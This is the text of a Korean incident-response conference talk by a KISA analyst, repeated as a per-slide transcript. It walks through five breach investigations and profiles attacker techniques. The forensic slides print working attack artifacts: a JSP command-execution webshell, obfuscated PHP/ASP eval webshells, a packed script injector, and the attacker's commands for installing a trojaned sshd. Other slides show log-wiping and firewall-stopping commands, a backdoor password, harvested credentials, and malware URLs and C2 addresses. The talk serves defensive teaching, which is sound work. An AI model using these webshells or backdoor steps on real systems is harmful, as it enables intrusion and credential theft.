침해사고 대응
‘16.4.22
KISA 분석1팀 이재광
침해사고 분석 대응, EnCE/CISA/ISMS/CPPG
F-INSIGHT CONFERENCE 2016
이렇다고 전해라~
대응 체계
꺼리
Case 분석
• 초기 대응(시야 확보)
• 대응전략 수립(관찰의 힘)
• 상세 분석(예외 No, Profiling)
• 사후 조치(Collabo)
Think...
Episode
대응 체계
 피해시스템 분석을 위하여 다양한 분석 도구 및 장비 사용
- 디스크 이미지 복제 : Rapid Image, Magic Cube
- 전문 분석 도구 : Encase 7, FTK, F-EXPLORER
초기대응1st Case
시야가 확보되면 문제를 풀 수 있다
시야가 확보되면 문제를 풀 수 있다
서버 설정
DNS
설정 변경
스크립트
삽입
호스트
파일 변조
불법 리다이렉트
Keyword1st Case
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
180.131.1.79(koreaboxoffice.com / 브리즈피엔엠) -> rafomedia.com(158.85.62.205) ->
adrotate.se(83.140.162.230)
-> pops.ero-advertising.com(185.70.212.101) -> spaces.slimspots.com(176.31.224.189) ->
aff.camplace.com
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
불법 리다이렉트1st Case 시야확보
180.x.x.79(korOOOice.com)
-> rafomedia.com(158.85.62.205)
-> adrotate.se(83.140.162.230)
-> pops.ero-advertising.com(185.70.212.101)
-> spaces.slimspots.com(176.31.224.189)
-> aff.camplace.com
불법 리다이렉트1st Case 시야확보
시야가 확보되면 문제를 풀 수 있다
삽질 하자는 뜻인 줄 알았다.
시야를 확보하자는 뜻이었다
Episode
2nd Case 대응전략 수립
관찰은 쓰다. 그러나 열매는 달다
웹셸 제거
계정 접근
제어 설정
서버 점검
서비스
재설치
서비스 망 해킹
2nd Case Keyword
117.x.x.188(한국, VPN)
211. x.x.19(한국, VPN)
211. x.x.3(한국, VPN)
211. x.x.203(한국)
210.x.x.22(한국)
116.x.x.1~116.x.x.255(중국)
웹서버(213)
hoxxy.OOO.com
웹서버(222)
www.OOO.com
파일서버(209)
file.OOO.com
파일서버(223)
hoxxdata.OOO.com
211.x47.x0.51(KR)
공유폴더 접속(관리자 계정)
웹셸 업로드
FTP 접속(관리자 계정)
웹셸 업로드
DB서버(210)
211.x34.x2.202(KR)
원격제어
OO닷컴 서버망
58.x.162.x
win 서버 13대
linux 서버 ??대
2nd Case 서비스 망 해킹 관찰의 힘
<213번 웹서> D:OnmamWebSiteSourcehomxx.OOO.com/common/js/prototype.js
<222번 웹서버> D:OnmamWebSiteSourceimages.OOO.comCommon_jsYUtil.js
myOOO.co.kr/test/f/ck.gif
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]
=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(ne
w RegExp('b'+e(c)+'b','g'),k[c])}}return p}('4.3("<0 2=1://5.b.6.a/9/8.7></0>");',12,12,'script|http|src|write|d
ocument|itoy|co|gif|all|images|kr|dbros'.split('|'),0,{}))
--> 디코딩 결과
document.write("<script src=http://itoy.dbOOO.co.kr/images/all.gif></script>");
2015-04-20 17:16:17 W3SVC678852465 58.x.x.213
POST /customer/con.asp(웹셸) - 80 – 117.x.x.188(한국, VPN)
Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.2;+Trident/4.0;+qdesk+2.4.1264.203;+.NET+CLR+1.1.4322;+.N
ET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729) 200 0 0
2nd Case 서비스 망 해킹 관찰의 힘
일부 웹셸의 경우 IIS의 가상폴더를 이용하여 연결
2nd Case 서비스 망 해킹 관찰의 힘
웹셸이 삭제될 경우 공유폴더 접근을 통해 다시 업로드
2nd Case 서비스 망 해킹 관찰의 힘
공유폴더 접근 차단 조치 후 209번 서버에서 222번 서버로 FTP 접속, 다시 웹셸 업로드
2nd Case 서비스 망 해킹 관찰의 힘
209번 서버 확인결과, 외부 C&C로 백커넥트되어 있는 상태
2nd Case 서비스 망 해킹 관찰의 힘
사용자 행위 확인결과 공격도구인 Cain.exe 실행이력 확인
Cain.exe 실행 시점의 브라우저 기록을 확인한 결과 다수의 악성코드 추가다운 수행한 이력 확인
isangwhang.com/data/goodsimages/fxp.exe <시점 : 2015-04-28 18:40:58>
ischoolplus.com/css/zx.exe <시점 : 2015-04-28 23:07:31>
isangwhang.com/data/goodsimages/cain.exe <시점 : 2015-04-28 23:15:37>
209번 파일서버 브라우져 로그 확인 - 공격자가 추가 악성코드 다운을 시도
2nd Case 서비스 망 해킹 관찰의 힘
악성코드를 추가 다운한 시점의 이벤트로그 확인 - 223번 서버에서 209번 서버로 원격터미널 접속
223번 파일서버 : 209과 동일한 원격제어 악성코드가 설치, 외부 C&C로 백커넥트 연결
※ 악성코드 명 : lss.jpg(해킹도구인 HTran 악성코드)
※ C&C : 211.x.x.202:443(한국)
2nd Case 서비스 망 해킹 관찰의 힘
C2로 악용된 서버 추가 분석 - 211.x47.x0.51(OO닷컴 DB서버)
2nd Case 서비스 망 해킹 관찰의 힘
2nd Case 서비스 망 해킹 관찰의 힘
2nd Case 서비스 망 해킹 관찰의 힘
관찰은 쓰다. 그러나 열매는 달다
감동보다 큰 설득은 없다
Episode
3rd Case 상세 분석
충분히 대화하라, 예외를 두지 말라
관리자 PC
보안관리
개발 어플리케이션
보안
정기 점검
접근제어
개발 망 해킹
로그관리
3rd Case Keyword
3rd Case 개발 망 해킹 예외는 없다
3rd Case
메모리상에서 동작중인 DDoS 악성코드
예외는 없다개발 망 해킹
3rd Case
2013-07-10 10:23:10,134 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2013-07-10 10:23:14,293 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
......(중략)
2015-07-30 15:48:09,072 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099,
rmiPort=1098, backlog=50, bindAddress=/0.0.0.0,
2015-07-30 15:48:12,589 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL
service available at : /0.0.0.0:8093
예외는 없다개발 망 해킹
3rd Case
2013-09-21 06:50:54,798 INFO [org.jboss.web.tomcat.tc5.TomcatDeployer] deploy, //업로드
ctxPath=/webconsole, //파일명
warUrl=file:/usr/local/jboss/server/default/deploy/management/webconsole.war/ //경로
예외는 없다개발 망 해킹
3rd Case
<%@page import="java.io.*"%><HTML><BODY><FORM METHOD="GET"
NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit"
VALUE="Execute"></FORM><PRE><%if (request.getParameter("cmd") != null)
{out.println("Command:" + request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new
DataInputStream(in);String disr = dis.readLine();
while ( disr != null ) { out.println(disr);disr = dis.readLine();}}%></BODY></HTML></pre>
개발 망 해킹 예외는 없다
3rd Case
해당 Jboss 기능과 웹셸을 이용하여 악성 파일 생성 및 실행
웹셸 5개, 다운로더 58개, 백도어 1종, IRC bot 1종, DDoS 공격 악성코드 1종 생성
DDoS 악성코드 실행 시 생성되는 설정 파일 시간 값
예외는 없다개발 망 해킹
3rd Case
백도어
예외는 없다개발 망 해킹
3rd Case
/tmp/.1/ 경로에 설치된 [energy mech 2.8] IRC bot
http://www.energymech.net/index.html
예외는 없다개발 망 해킹
3rd Case 예외는 없다개발 망 해킹
관찰은 쓰다. 그러나 열매는 달다
우리의 대화는 목적이 서로 다르다
Episode
4th Case Profiling
소통하여 인텔리를 활용하라
거점 확보
기법
내부 확산
기법
C2 운영
기법
웹셸 운영
기법
공격 기법
코드 유포
기법
타깃 식별
기법
4th Case Keyword
cd /tmp/xxx/temp/; wget http://www.OOO.com/xxx/aa.gif
wget http://www.OOO.com/xxx/bb.gif
wget http://www.OOO.com/xxx/cc.gif
mv aa.gif sshd; mv bb.gif ssh; mv cc.gif scp; chmod 755 sshd ssh scp;ls –al
cd /usr/sbin/; mv sshd sshd.bak; cd /usr/bin/; mv scp scp.bak; mv ssh ssh.bak
cd /tmp/xxx/temp/; cp sshd /usr/sbin/sshd; cp ssh /usr/bin/ssh; cp scp /usr/bin/scp
/etc/init.d/sshd restart
ssh 127.0.0.1
cd /usr/bin/; touch –r scp.bak scp ssh; rm –f *.bak; ls –al scp ssh
cd /usr/sbin/; touch –r sshd.bak sshd; rm –f sshd.bak; ls –al sshd
4th Case 거점 확보 기법 Profiling
SSH 백도어
[root@ksxxxx backup_virus]# strings /usr/sbin/sshd | more
Bad options in %.100s file, line %lu: %.50s
KiTrap0DExp!!! --> 공격자가 원격으로 로그인하기 위해 사용하는 비밀번호
/usr/share/ssh//slog --> 관리자의 계정을 로깅하는 키로깅 파일
%s:%s --> 키로깅 형태
trying public RSA key file %s
auth-rsa.c
[root@ksxxxx- ssh]# cat slog | tail
www:prin****
www:prince4025
root:rlawl****
root:wwlas****
root:eel!****
root:lliet****
4th Case 거점 확보 기법 Profiling
SSH 백도어
4th Case 거점 확보 기법 Profiling
SSH 백도어
usb-spi.ko 파일은 TCP 통신 트래픽 중 ‘fuck@root’ 문자열이 포
함된 패킷을 수신하면 /var/lib/nfs/statd/dm/libijs.so 실행
루트킷 파일
/lib/modules/2.6.18-404.el5/kernel/sound/usb/usb-spi.ko
/var/lib/nfs/statd/dm/libijs.so
/var/lib/nfs/statd/dm/libijs2.so
libijs.so 파일은 공격자가 설정한 IP주소로 리버스 텔넷 시도
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
cmdline : 명령행 매개변수
cwd : 현재 작업 디렉토리
maps : 실행 파일과 라이브러리에 대한 메모리
맵
mem : 프로세스 메모리
status : 프로세스 상태
environ : 프로세스에 공개된 환경변수
exe : 프로세스의 실행파일
fd : 프로세스가 열어놓은 파일 목록
root : 프로세스 루트 디렉토리
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
for PID in $(./chkproc -v | grep "PID" | grep "/" | awk -F "(" '{print $1}' | awk '{print $2}');
do echo -n "PID[$PID]"; ls -al /proc/$PID |grep exe |awk '{print "exe -> "$11}'; done
4th Case 거점 확보 기법 Profiling
루트킷
/proc 폴더 분석을 통한 숨겨진 프로세스 탐지 기법
for PID in $(find ./ -name exe | grep -v task | awk -F "/" '{print $2}'); do echo -n "PID[$PID]";
ls -al /proc/$PID | grep exe |awk '{print "exe -> "$11}';done
4th Case 거점 확보 기법 Profiling
루트킷
/usr/bin/umount –l root –p 22 –z dkagh#@!220.x.x.25
“cd /root/; mv .bash_history .bash_history.bak; ls-al”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25
“cd /var/log/; mv wtmp wtmp.bak; mv lastlog lastlog.bak; mv secure secure.bak; ls –al *.bak”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25
“/etc/init.d/iptables stop”
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.28
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.29
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.35
…
/usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.36
4th Case 내부 확산 기법 Profiling
국내 소프트웨어 업체 인증서로 서명된 악성코드
4th Case 타깃 식별 기법 Profiling
4th Case 타깃 식별 기법 Profiling
http://www.boutell.com/rinetd/
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
4th Case C2 운영 기법 Profiling
C&C에서 추출된 DB -1
4th Case C2 운영 기법 Profiling
4th Case 코드 유포 기법 Profiling
<%eval request("*0#")%>
<?php eval($_POST[ad]);?>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"""mFpECU"""&")"&")")%>
<?php preg_replace("//e",str_replace('%','v'.'a','e'.'%'.'l($_R'.'E'.'Q'.'U'.'E'.'S'.'T'.'[s'.'m'.'s'.'])'),"");?>
<?php eval($_POST[cmd]);?><?ob_start();?><?ob_start();?> <?ob_start();?>
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
웹 소스 경로에서 웹셸 검사 ??
웹 로그 기반 침해사고 대응 ??
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
윈도우 API로 접근
4th Case 웹셸 운영 기법 Profiling
웹으로 접근
4th Case 웹셸 운영 기법 Profiling
4th Case 웹셸 운영 기법 Profiling
관찰은 쓰다. 그러나 열매는 달다
가치있는 정보의 차이가 진짜 차이다
Episode
5th Case 사후 조치
Cooperation ⇒ Collaboration
관리자
관심 Web
내부망
전파 커뮤니티
DB 유출
관리자 보호
거점, 로그
취약한
호스팅
스피어
피싱
5th Case Keyword
로그
거점
5th Case
Scrum vs Kanban.hwp
61.x.x.251 port : 443 (C&C, )
122.x.x.214 port : 443 (C&C)
15년도 추계학술대회 안내문.hwp
203.x.x.163 port : 443,8443 (C&C)
196.x.x.106 port : 443, 8443 (C&C)
관리자 공격 Collabo
5th Case 관리자 공격 Collabo
5th Case 관리자 공격 Collabo
5th Case
① 해킹된 웹사이트 조치 과정에서 악성코드 감염
② 원격제어권 확보
③ 관리자 PC의 관리프로그램을 통한 RAT 설치
④ 다수 웹서버에 대한 추가 원격제어권 확보
관리자 공격
취약한 웹에서 사용되는 ActiveX 취약점을 공격에 악용
대기… 대기... 대기…
Collabo
5th Case 관리자 공격
[root@exxx bin]# stat /lib/libcom.so.3.0.1
File: `/lib/libcom.so.3.0.1'
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
리눅스 preload (/etc/ld.so.preload) - 모든 프로세스에 so 파일 인젝션
Collabo
5th Case 관리자 공격
디도스 공격 C2
’15.4.25
27.x55.78.x
금융정보유출
’15.7.7
APT C2
사용자
zhongwei wang
26815139@qq.com
27.x55.84.x
’15.1.22
27.x55.67.x
디도스 & 원격제어 C2
’14.12.10
27.x55.71.x
5th Case 주요 거점 Collabo
76
8
16
0 10 20 30 40 50 60 70 80
1개월~3개월
4개월~6개월
6개월~1년
최초 침투에서 악성코드 유포까지 소요된 기간 비율
시스템 상세 분석이
진행된 사고(50여건) 기준
5th Case Log... Collabo
관찰은 쓰다. 그러나 열매는 달다
내가 해봐야 하는 것은 보안 내재화다
Episode
 명확하고 신속한 의사소통(분석가, 피해기관, 유관기관)
 다양한 로그 분석을 통한 신중한 결과 도출(유관기관과의 정보공유)
 분석 결과 기반 추가 증거 수집
 이미지 및 방화벽로그/DB로그/해킹도구 등 다양한 분석 경험
 전체적인 분석방향 및 일정 조율
 상세한 리포트
거의 끝. Think... NOPASIM
 공격대상 기관의 특성에 따라 침투 경로 및 기법 상이
 보안 체계 자체의 Risk
 최초 침투경로 확인 방안 / 전사적 보안 점검 방안
 로그관리의 표준화
 네트워크 기반 이상행위 탐지 체계
 Defensive Security의 활성
거의 끝. Think... NOPASIM
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라

(Ficon2016) #2 침해사고 대응, 이렇다고 전해라

  • 1.
    침해사고 대응 ‘16.4.22 KISA 분석1팀이재광 침해사고 분석 대응, EnCE/CISA/ISMS/CPPG F-INSIGHT CONFERENCE 2016 이렇다고 전해라~
  • 2.
    대응 체계 꺼리 Case 분석 •초기 대응(시야 확보) • 대응전략 수립(관찰의 힘) • 상세 분석(예외 No, Profiling) • 사후 조치(Collabo) Think... Episode
  • 3.
    대응 체계  피해시스템분석을 위하여 다양한 분석 도구 및 장비 사용 - 디스크 이미지 복제 : Rapid Image, Magic Cube - 전문 분석 도구 : Encase 7, FTK, F-EXPLORER
  • 4.
  • 5.
    시야가 확보되면 문제를풀 수 있다 서버 설정 DNS 설정 변경 스크립트 삽입 호스트 파일 변조 불법 리다이렉트 Keyword1st Case
  • 6.
  • 7.
  • 8.
    180.131.1.79(koreaboxoffice.com / 브리즈피엔엠)-> rafomedia.com(158.85.62.205) -> adrotate.se(83.140.162.230) -> pops.ero-advertising.com(185.70.212.101) -> spaces.slimspots.com(176.31.224.189) -> aff.camplace.com 불법 리다이렉트1st Case 시야확보
  • 9.
  • 10.
  • 11.
  • 12.
    180.x.x.79(korOOOice.com) -> rafomedia.com(158.85.62.205) -> adrotate.se(83.140.162.230) ->pops.ero-advertising.com(185.70.212.101) -> spaces.slimspots.com(176.31.224.189) -> aff.camplace.com 불법 리다이렉트1st Case 시야확보
  • 13.
    시야가 확보되면 문제를풀 수 있다 삽질 하자는 뜻인 줄 알았다. 시야를 확보하자는 뜻이었다 Episode
  • 14.
    2nd Case 대응전략수립 관찰은 쓰다. 그러나 열매는 달다
  • 15.
    웹셸 제거 계정 접근 제어설정 서버 점검 서비스 재설치 서비스 망 해킹 2nd Case Keyword
  • 16.
    117.x.x.188(한국, VPN) 211. x.x.19(한국,VPN) 211. x.x.3(한국, VPN) 211. x.x.203(한국) 210.x.x.22(한국) 116.x.x.1~116.x.x.255(중국) 웹서버(213) hoxxy.OOO.com 웹서버(222) www.OOO.com 파일서버(209) file.OOO.com 파일서버(223) hoxxdata.OOO.com 211.x47.x0.51(KR) 공유폴더 접속(관리자 계정) 웹셸 업로드 FTP 접속(관리자 계정) 웹셸 업로드 DB서버(210) 211.x34.x2.202(KR) 원격제어 OO닷컴 서버망 58.x.162.x win 서버 13대 linux 서버 ??대 2nd Case 서비스 망 해킹 관찰의 힘
  • 17.
    <213번 웹서> D:OnmamWebSiteSourcehomxx.OOO.com/common/js/prototype.js <222번웹서버> D:OnmamWebSiteSourceimages.OOO.comCommon_jsYUtil.js myOOO.co.kr/test/f/ck.gif eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)] =k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(ne w RegExp('b'+e(c)+'b','g'),k[c])}}return p}('4.3("<0 2=1://5.b.6.a/9/8.7></0>");',12,12,'script|http|src|write|d ocument|itoy|co|gif|all|images|kr|dbros'.split('|'),0,{})) --> 디코딩 결과 document.write("<script src=http://itoy.dbOOO.co.kr/images/all.gif></script>"); 2015-04-20 17:16:17 W3SVC678852465 58.x.x.213 POST /customer/con.asp(웹셸) - 80 – 117.x.x.188(한국, VPN) Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.2;+Trident/4.0;+qdesk+2.4.1264.203;+.NET+CLR+1.1.4322;+.N ET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729) 200 0 0 2nd Case 서비스 망 해킹 관찰의 힘
  • 18.
    일부 웹셸의 경우IIS의 가상폴더를 이용하여 연결 2nd Case 서비스 망 해킹 관찰의 힘
  • 19.
    웹셸이 삭제될 경우공유폴더 접근을 통해 다시 업로드 2nd Case 서비스 망 해킹 관찰의 힘
  • 20.
    공유폴더 접근 차단조치 후 209번 서버에서 222번 서버로 FTP 접속, 다시 웹셸 업로드 2nd Case 서비스 망 해킹 관찰의 힘
  • 21.
    209번 서버 확인결과,외부 C&C로 백커넥트되어 있는 상태 2nd Case 서비스 망 해킹 관찰의 힘
  • 22.
    사용자 행위 확인결과공격도구인 Cain.exe 실행이력 확인 Cain.exe 실행 시점의 브라우저 기록을 확인한 결과 다수의 악성코드 추가다운 수행한 이력 확인 isangwhang.com/data/goodsimages/fxp.exe <시점 : 2015-04-28 18:40:58> ischoolplus.com/css/zx.exe <시점 : 2015-04-28 23:07:31> isangwhang.com/data/goodsimages/cain.exe <시점 : 2015-04-28 23:15:37> 209번 파일서버 브라우져 로그 확인 - 공격자가 추가 악성코드 다운을 시도 2nd Case 서비스 망 해킹 관찰의 힘
  • 23.
    악성코드를 추가 다운한시점의 이벤트로그 확인 - 223번 서버에서 209번 서버로 원격터미널 접속 223번 파일서버 : 209과 동일한 원격제어 악성코드가 설치, 외부 C&C로 백커넥트 연결 ※ 악성코드 명 : lss.jpg(해킹도구인 HTran 악성코드) ※ C&C : 211.x.x.202:443(한국) 2nd Case 서비스 망 해킹 관찰의 힘
  • 24.
    C2로 악용된 서버추가 분석 - 211.x47.x0.51(OO닷컴 DB서버) 2nd Case 서비스 망 해킹 관찰의 힘
  • 25.
    2nd Case 서비스망 해킹 관찰의 힘
  • 26.
    2nd Case 서비스망 해킹 관찰의 힘
  • 27.
    관찰은 쓰다. 그러나열매는 달다 감동보다 큰 설득은 없다 Episode
  • 28.
    3rd Case 상세분석 충분히 대화하라, 예외를 두지 말라
  • 29.
    관리자 PC 보안관리 개발 어플리케이션 보안 정기점검 접근제어 개발 망 해킹 로그관리 3rd Case Keyword
  • 30.
    3rd Case 개발망 해킹 예외는 없다
  • 31.
    3rd Case 메모리상에서 동작중인DDoS 악성코드 예외는 없다개발 망 해킹
  • 32.
    3rd Case 2013-07-10 10:23:10,134INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099, rmiPort=1098, backlog=50, bindAddress=/0.0.0.0, 2013-07-10 10:23:14,293 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL service available at : /0.0.0.0:8093 ......(중략) 2015-07-30 15:48:09,072 INFO [org.jboss.naming.NamingService] Started jndi bootstrap jnpPort=1099, rmiPort=1098, backlog=50, bindAddress=/0.0.0.0, 2015-07-30 15:48:12,589 INFO [org.jboss.mq.il.uil2.UILServerILService] JBossMQ UIL service available at : /0.0.0.0:8093 예외는 없다개발 망 해킹
  • 33.
    3rd Case 2013-09-21 06:50:54,798INFO [org.jboss.web.tomcat.tc5.TomcatDeployer] deploy, //업로드 ctxPath=/webconsole, //파일명 warUrl=file:/usr/local/jboss/server/default/deploy/management/webconsole.war/ //경로 예외는 없다개발 망 해킹
  • 34.
    3rd Case <%@page import="java.io.*"%><HTML><BODY><FORMMETHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Execute"></FORM><PRE><%if (request.getParameter("cmd") != null) {out.println("Command:" + request.getParameter("cmd")); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine(); while ( disr != null ) { out.println(disr);disr = dis.readLine();}}%></BODY></HTML></pre> 개발 망 해킹 예외는 없다
  • 35.
    3rd Case 해당 Jboss기능과 웹셸을 이용하여 악성 파일 생성 및 실행 웹셸 5개, 다운로더 58개, 백도어 1종, IRC bot 1종, DDoS 공격 악성코드 1종 생성 DDoS 악성코드 실행 시 생성되는 설정 파일 시간 값 예외는 없다개발 망 해킹
  • 36.
  • 37.
    3rd Case /tmp/.1/ 경로에설치된 [energy mech 2.8] IRC bot http://www.energymech.net/index.html 예외는 없다개발 망 해킹
  • 38.
    3rd Case 예외는없다개발 망 해킹
  • 39.
    관찰은 쓰다. 그러나열매는 달다 우리의 대화는 목적이 서로 다르다 Episode
  • 40.
    4th Case Profiling 소통하여인텔리를 활용하라
  • 41.
    거점 확보 기법 내부 확산 기법 C2운영 기법 웹셸 운영 기법 공격 기법 코드 유포 기법 타깃 식별 기법 4th Case Keyword
  • 42.
    cd /tmp/xxx/temp/; wgethttp://www.OOO.com/xxx/aa.gif wget http://www.OOO.com/xxx/bb.gif wget http://www.OOO.com/xxx/cc.gif mv aa.gif sshd; mv bb.gif ssh; mv cc.gif scp; chmod 755 sshd ssh scp;ls –al cd /usr/sbin/; mv sshd sshd.bak; cd /usr/bin/; mv scp scp.bak; mv ssh ssh.bak cd /tmp/xxx/temp/; cp sshd /usr/sbin/sshd; cp ssh /usr/bin/ssh; cp scp /usr/bin/scp /etc/init.d/sshd restart ssh 127.0.0.1 cd /usr/bin/; touch –r scp.bak scp ssh; rm –f *.bak; ls –al scp ssh cd /usr/sbin/; touch –r sshd.bak sshd; rm –f sshd.bak; ls –al sshd 4th Case 거점 확보 기법 Profiling SSH 백도어
  • 43.
    [root@ksxxxx backup_virus]# strings/usr/sbin/sshd | more Bad options in %.100s file, line %lu: %.50s KiTrap0DExp!!! --> 공격자가 원격으로 로그인하기 위해 사용하는 비밀번호 /usr/share/ssh//slog --> 관리자의 계정을 로깅하는 키로깅 파일 %s:%s --> 키로깅 형태 trying public RSA key file %s auth-rsa.c [root@ksxxxx- ssh]# cat slog | tail www:prin**** www:prince4025 root:rlawl**** root:wwlas**** root:eel!**** root:lliet**** 4th Case 거점 확보 기법 Profiling SSH 백도어
  • 44.
    4th Case 거점확보 기법 Profiling SSH 백도어
  • 45.
    usb-spi.ko 파일은 TCP통신 트래픽 중 ‘fuck@root’ 문자열이 포 함된 패킷을 수신하면 /var/lib/nfs/statd/dm/libijs.so 실행 루트킷 파일 /lib/modules/2.6.18-404.el5/kernel/sound/usb/usb-spi.ko /var/lib/nfs/statd/dm/libijs.so /var/lib/nfs/statd/dm/libijs2.so libijs.so 파일은 공격자가 설정한 IP주소로 리버스 텔넷 시도 4th Case 거점 확보 기법 Profiling 루트킷
  • 46.
    /proc 폴더 분석을통한 숨겨진 프로세스 탐지 기법 cmdline : 명령행 매개변수 cwd : 현재 작업 디렉토리 maps : 실행 파일과 라이브러리에 대한 메모리 맵 mem : 프로세스 메모리 status : 프로세스 상태 environ : 프로세스에 공개된 환경변수 exe : 프로세스의 실행파일 fd : 프로세스가 열어놓은 파일 목록 root : 프로세스 루트 디렉토리 4th Case 거점 확보 기법 Profiling 루트킷
  • 47.
    /proc 폴더 분석을통한 숨겨진 프로세스 탐지 기법 for PID in $(./chkproc -v | grep "PID" | grep "/" | awk -F "(" '{print $1}' | awk '{print $2}'); do echo -n "PID[$PID]"; ls -al /proc/$PID |grep exe |awk '{print "exe -> "$11}'; done 4th Case 거점 확보 기법 Profiling 루트킷
  • 48.
    /proc 폴더 분석을통한 숨겨진 프로세스 탐지 기법 for PID in $(find ./ -name exe | grep -v task | awk -F "/" '{print $2}'); do echo -n "PID[$PID]"; ls -al /proc/$PID | grep exe |awk '{print "exe -> "$11}';done 4th Case 거점 확보 기법 Profiling 루트킷
  • 49.
    /usr/bin/umount –l root–p 22 –z dkagh#@!220.x.x.25 “cd /root/; mv .bash_history .bash_history.bak; ls-al” /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25 “cd /var/log/; mv wtmp wtmp.bak; mv lastlog lastlog.bak; mv secure secure.bak; ls –al *.bak” /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.25 “/etc/init.d/iptables stop” /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.28 … /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.29 … /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.35 … /usr/bin/umount –l root –p 22 –z dkagh#@! 220.x.x.36 4th Case 내부 확산 기법 Profiling
  • 50.
    국내 소프트웨어 업체인증서로 서명된 악성코드 4th Case 타깃 식별 기법 Profiling
  • 51.
    4th Case 타깃식별 기법 Profiling
  • 52.
  • 53.
    4th Case C2운영 기법 Profiling
  • 54.
    4th Case C2운영 기법 Profiling
  • 55.
    4th Case C2운영 기법 Profiling
  • 56.
    4th Case C2운영 기법 Profiling
  • 57.
    C&C에서 추출된 DB-1 4th Case C2 운영 기법 Profiling
  • 58.
    4th Case 코드유포 기법 Profiling
  • 59.
    <%eval request("*0#")%> <?php eval($_POST[ad]);?> <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"""mFpECU"""&")"&")")%> <?phppreg_replace("//e",str_replace('%','v'.'a','e'.'%'.'l($_R'.'E'.'Q'.'U'.'E'.'S'.'T'.'[s'.'m'.'s'.'])'),"");?> <?php eval($_POST[cmd]);?><?ob_start();?><?ob_start();?> <?ob_start();?> 4th Case 웹셸 운영 기법 Profiling
  • 60.
    4th Case 웹셸운영 기법 Profiling
  • 61.
    웹 소스 경로에서웹셸 검사 ?? 웹 로그 기반 침해사고 대응 ?? 4th Case 웹셸 운영 기법 Profiling
  • 62.
    4th Case 웹셸운영 기법 Profiling
  • 63.
    윈도우 API로 접근 4thCase 웹셸 운영 기법 Profiling 웹으로 접근
  • 64.
    4th Case 웹셸운영 기법 Profiling
  • 65.
    4th Case 웹셸운영 기법 Profiling
  • 66.
    관찰은 쓰다. 그러나열매는 달다 가치있는 정보의 차이가 진짜 차이다 Episode
  • 67.
    5th Case 사후조치 Cooperation ⇒ Collaboration
  • 68.
    관리자 관심 Web 내부망 전파 커뮤니티 DB유출 관리자 보호 거점, 로그 취약한 호스팅 스피어 피싱 5th Case Keyword 로그 거점
  • 69.
    5th Case Scrum vsKanban.hwp 61.x.x.251 port : 443 (C&C, ) 122.x.x.214 port : 443 (C&C) 15년도 추계학술대회 안내문.hwp 203.x.x.163 port : 443,8443 (C&C) 196.x.x.106 port : 443, 8443 (C&C) 관리자 공격 Collabo
  • 70.
    5th Case 관리자공격 Collabo
  • 71.
    5th Case 관리자공격 Collabo
  • 72.
    5th Case ① 해킹된웹사이트 조치 과정에서 악성코드 감염 ② 원격제어권 확보 ③ 관리자 PC의 관리프로그램을 통한 RAT 설치 ④ 다수 웹서버에 대한 추가 원격제어권 확보 관리자 공격 취약한 웹에서 사용되는 ActiveX 취약점을 공격에 악용 대기… 대기... 대기… Collabo
  • 73.
